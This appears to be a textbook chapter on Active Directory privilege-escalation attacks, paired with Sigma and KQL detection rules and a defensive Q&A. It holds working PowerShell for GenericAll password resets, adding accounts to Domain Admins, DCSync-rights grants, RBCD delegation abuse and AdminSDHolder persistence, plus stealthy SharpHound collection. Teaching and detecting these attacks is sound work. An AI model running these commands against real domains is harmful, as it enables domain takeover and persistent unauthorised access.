Active Directory Attacks
Active Directory is the backbone of enterprise identity. Every privileged operation — authentication, authorization, group policy application — flows through it. Attackers who understand AD object permissions, delegation configuration, and the SDProp mechanism can escalate from a helpdesk account to Domain Admin without ever exploiting a CVE. Detection requires monitoring specific LDAP query patterns, object ACL changes, and delegation flag modifications.
You compromise a helpdesk account via phishing. The account has "GenericAll" on a high-value IT admin account (misconfigured delegation from a ticket system integration). You can reset that admin's password, log in as them, and discover they have WriteDACL on the Domain Admins group. One ACL write later, your helpdesk account is effectively Domain Admin — without touching LSASS, without a kernel exploit, using nothing but standard LDAP operations.
AD Enumeration
# Native .NET LDAP enumeration — no external tools required.
# DirectorySearcher uses the existing Kerberos token; no extra credentials.
# Find all users with SPN set (Kerberoastable — see ch182):
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(&(objectCategory=user)(servicePrincipalName=*))"
$searcher.PropertiesToLoad.AddRange(@("samaccountname","serviceprincipalname","pwdlastset"))
$searcher.FindAll() | ForEach-Object {
[PSCustomObject]@{
User = $_.Properties["samaccountname"][0]
SPN = $_.Properties["serviceprincipalname"] -join ", "
}
}
# Find all domain admins:
$searcher.Filter = "(&(objectCategory=user)(memberOf=CN=Domain Admins,CN=Users,DC=corp,DC=local))"
$searcher.FindAll()
# Find computers with unconstrained delegation (T1134.001 enabler):
$searcher.Filter = "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))"
$searcher.PropertiesToLoad.Add("dnshostname") | Out-Null
$searcher.FindAll() | ForEach-Object { $_.Properties["dnshostname"][0] }
# Find accounts with "Password Never Expires" (likely service accounts, Kerberoastable):
$searcher.Filter = "(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=65536))"
ACL Abuse
# Exploit GenericAll on a user: reset their password via LDAP
# Uses System.DirectoryServices — no external binary needed
$user = [ADSI]"LDAP://CN=ITAdmin,OU=IT,DC=corp,DC=local"
$user.SetPassword("NewP@ss123!")
$user.CommitChanges()
# Add self to Domain Admins (requires WriteProperty(Member) or GenericAll on group):
$group = [ADSI]"LDAP://CN=Domain Admins,CN=Users,DC=corp,DC=local"
$group.Add("LDAP://CN=HelpDesk,OU=Users,DC=corp,DC=local")
# WriteDACL abuse: grant yourself DCSync rights on the domain object
# Requires WriteDACL on the domain object (DC=corp,DC=local)
$domainObj = [ADSI]"LDAP://DC=corp,DC=local"
$acl = $domainObj.ObjectSecurity
$identity = [System.Security.Principal.SecurityIdentifier]"S-1-5-21-XXXX-YYYY-ZZZZ-1105" # attacker SID
$adRights = [System.DirectoryServices.ActiveDirectoryRights]"ExtendedRight"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
# GUIDs for GetChanges and GetChangesAll (DCSync):
$guidChanges = [System.Guid]"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2"
$guidChangesAll = [System.Guid]"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
$identity, $adRights, $type, $guidChanges, 0,
[System.Guid]::Empty)))
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
$identity, $adRights, $type, $guidChangesAll, 0,
[System.Guid]::Empty)))
$domainObj.CommitChanges()
Delegation Attacks
| Delegation Type | Flag | Attack | Scope |
|---|---|---|---|
| Unconstrained | TRUSTED_FOR_DELEGATION (0x80000) | Capture any user's TGT that authenticates to this machine; use TGT to impersonate user anywhere | Any service on behalf of any user |
| Constrained (Kerberos) | TRUSTED_TO_AUTH_FOR_DELEGATION (0x1000000) | S4U2Self + S4U2Proxy: request ST for any user to allowed SPNs | Specific SPNs only; can impersonate any user |
| Resource-Based Constrained (RBCD) | msDS-AllowedToActOnBehalfOfOtherIdentity on target | If write access to target's attribute: add attacker machine; S4U2Proxy gives SYSTEM ST | Target machine controlled by attribute |
# RBCD attack: if you have write access to computer object's
# msDS-AllowedToActOnBehalfOfOtherIdentity attribute,
# you can delegate from a machine you control to the target.
# Result: service ticket for CIFS on target as any user (e.g., Domain Admin).
# Step 1: Create a fake computer account (any user can add up to 10 machines by default)
# using Impacket's addcomputer.py or PowerMad:
New-MachineAccount -MachineAccount FAKECOMP -Password (ConvertTo-SecureString "Compl3x!" -AsPlainText -Force)
# Step 2: Set msDS-AllowedToActOnBehalfOfOtherIdentity on target computer
$fakeSid = (Get-ADComputer FAKECOMP).SID
$SD = New-Object Security.AccessControl.RawSecurityDescriptor(
"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($fakeSid))")
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Set-ADComputer TARGET -Replace @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $SDBytes}
# Step 3: Use Rubeus S4U to get service ticket for Administrator on TARGET\CIFS
# Rubeus.exe s4u /user:FAKECOMP$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/TARGET /ptt
BloodHound Attack Paths
# BloodHound collects AD data via LDAP/SMB and graphs attack paths.
# Collectors: SharpHound (C#) or bloodhound-python (from Linux).
# Key queries for attack path discovery:
# Find shortest path to Domain Admin from owned accounts:
# MATCH p=shortestPath((n:User {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})) RETURN p
# Find all users with DCSync rights:
# MATCH (n)-[:GetChanges|GetChangesAll*1..2]->(d:Domain) RETURN n.name, d.name
# Find all computers with unconstrained delegation:
# MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name
# Find ACLs where non-admin users have dangerous rights on high-value targets:
# MATCH (n)-[r:GenericAll|GenericWrite|WriteDACL|WriteOwner]->(m:Group)
# WHERE m.name =~ ".*ADMIN.*" RETURN n.name, type(r), m.name
# Silent SharpHound collection (avoids LDAP bulk query detection by using stealth mode):
# SharpHound.exe -c All --stealth --outputdirectory C:\Temp --outputprefix corp
AdminSDHolder Abuse
# AdminSDHolder: a special AD object whose ACL is propagated by SDProp
# (runs every 60 minutes) to all "protected" accounts (Domain Admins, etc.).
# If you can modify AdminSDHolder's ACL, your permission propagates to all protected accounts.
# Requires: GenericAll or WriteDACL on CN=AdminSDHolder,CN=System,DC=corp,DC=local
# Add attacker account with GenericAll to AdminSDHolder:
$adminSDHolder = [ADSI]"LDAP://CN=AdminSDHolder,CN=System,DC=corp,DC=local"
$acl = $adminSDHolder.ObjectSecurity
$attackerSID = New-Object System.Security.Principal.SecurityIdentifier("S-1-5-21-...-1105")
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
$attackerSID,
[System.DirectoryServices.ActiveDirectoryRights]::GenericAll,
[System.Security.AccessControl.AccessControlType]::Allow)
$acl.AddAccessRule($ace)
$adminSDHolder.ObjectSecurity = $acl
$adminSDHolder.CommitChanges()
# After 60 minutes (or force SDProp to run):
# Invoke-SDPropagator -timeoutMinutes 1 -showProgress (PowerView)
# Attacker now has GenericAll on all Domain Admins, Enterprise Admins, etc.
# Force immediate SDProp run (requires DA):
# ldap_modify: set fixUpInheritance on rootDSE
Detection Engineering
title: Suspicious LDAP Enumeration — Bulk SPN Query (Kerberoast Prep)
logsource:
product: windows
service: security
detection:
selection:
EventID: 4662
ObjectType: 'user'
Properties|contains: 'servicePrincipalName'
AccessMask: '0x100' # DS-Read-Property
timeframe: 60s
condition: selection | count() by SubjectUserName > 50
level: high
tags: [attack.discovery, T1018]
title: AdminSDHolder ACL Modified
logsource:
product: windows
service: security
detection:
selection:
EventID: 5136 # Directory service object modified
ObjectDN|contains: 'CN=AdminSDHolder'
AttributeLDAPDisplayName: 'nTSecurityDescriptor'
condition: selection
level: critical
tags: [attack.persistence, T1078.002]
title: RBCD Attribute Set on Computer Object
logsource:
product: windows
service: security
detection:
selection:
EventID: 5136
ObjectClass: 'computer'
AttributeLDAPDisplayName: 'msDS-AllowedToActOnBehalfOfOtherIdentity'
OperationType: '%%14675' # Value Added
condition: selection
level: critical
-- MDE KQL: DCSync rights granted via DACL modification
IdentityDirectoryEvents
| where ActionType == "LDAP query"
| where Query has_any ("GetChanges", "Replicating Directory Changes",
"1131f6aa", "1131f6ad")
| project Timestamp, DeviceName, AccountName, Query
SecurityEvent
| where EventID == 5136
| where AttributeLDAPDisplayName == "nTSecurityDescriptor"
| where ObjectDN == "DC=corp,DC=local"
| where OperationCorrelationID != ""
| project TimeGenerated, SubjectAccount, ObjectDN, AttributeValue
Q&A
BloodHound reveals attack paths through ACL chains that no human reviewer would find by looking at individual permissions — what makes ACL-based attack paths so hard to detect during normal access reviews, and what automated controls close the gap?
ACL-based attack paths are difficult to catch in access reviews for two structural reasons. First, AD permissions are cumulative and transitive but displayed discretely. A reviewer looking at the Domain Admins group ACL sees a list of principals — but they do not see that one of those principals is itself a group whose membership can be written by a helpdesk account, whose password can be reset by a service account, which was recently compromised. Each individual permission looks benign in isolation: a service account has ForceChangePassword on one user (ticket-system integration), that user happens to be in a group that has WriteDACL on Domain Admins. No single permission is flagged. Only the graph traversal reveals the path.
Second, AD access reviews are almost always user-centric rather than object-centric. Reviewers ask "what can this account do?" rather than "who can reach this group?" The latter question, run as a reverse ACL traversal, is exactly what BloodHound's Cypher queries do — but it is not how human reviewers think.
The automated controls that close this gap are: (1) BloodHound Enterprise or a custom SharpHound + Neo4j deployment run on a scheduled basis, with alerting on any new shortest path to Domain Admins, Tier-0 accounts, or critical infrastructure DCs. New edges in the graph — a new ACL entry that wasn't there yesterday — trigger a review workflow. (2) Tier-model enforcement: all accounts with any write rights on Tier-0 objects (Domain Admins, Domain Controllers, AdminSDHolder) must themselves be Tier-0 accounts with matching controls (PAWs, MFA, logon restrictions). If a Tier-1 or Tier-2 account has write rights on a Tier-0 object, that is by definition a misconfiguration. (3) Event 5136 (Directory Service Object Modified) with filtering on writes to the nTSecurityDescriptor of high-value objects — Domain Admins, AdminSDHolder, the domain naming context root. Any modification to these objects should trigger immediate investigation. Combining the graph-based path discovery with real-time event alerting covers both discovery of existing misconfigurations and detection of new ones being introduced.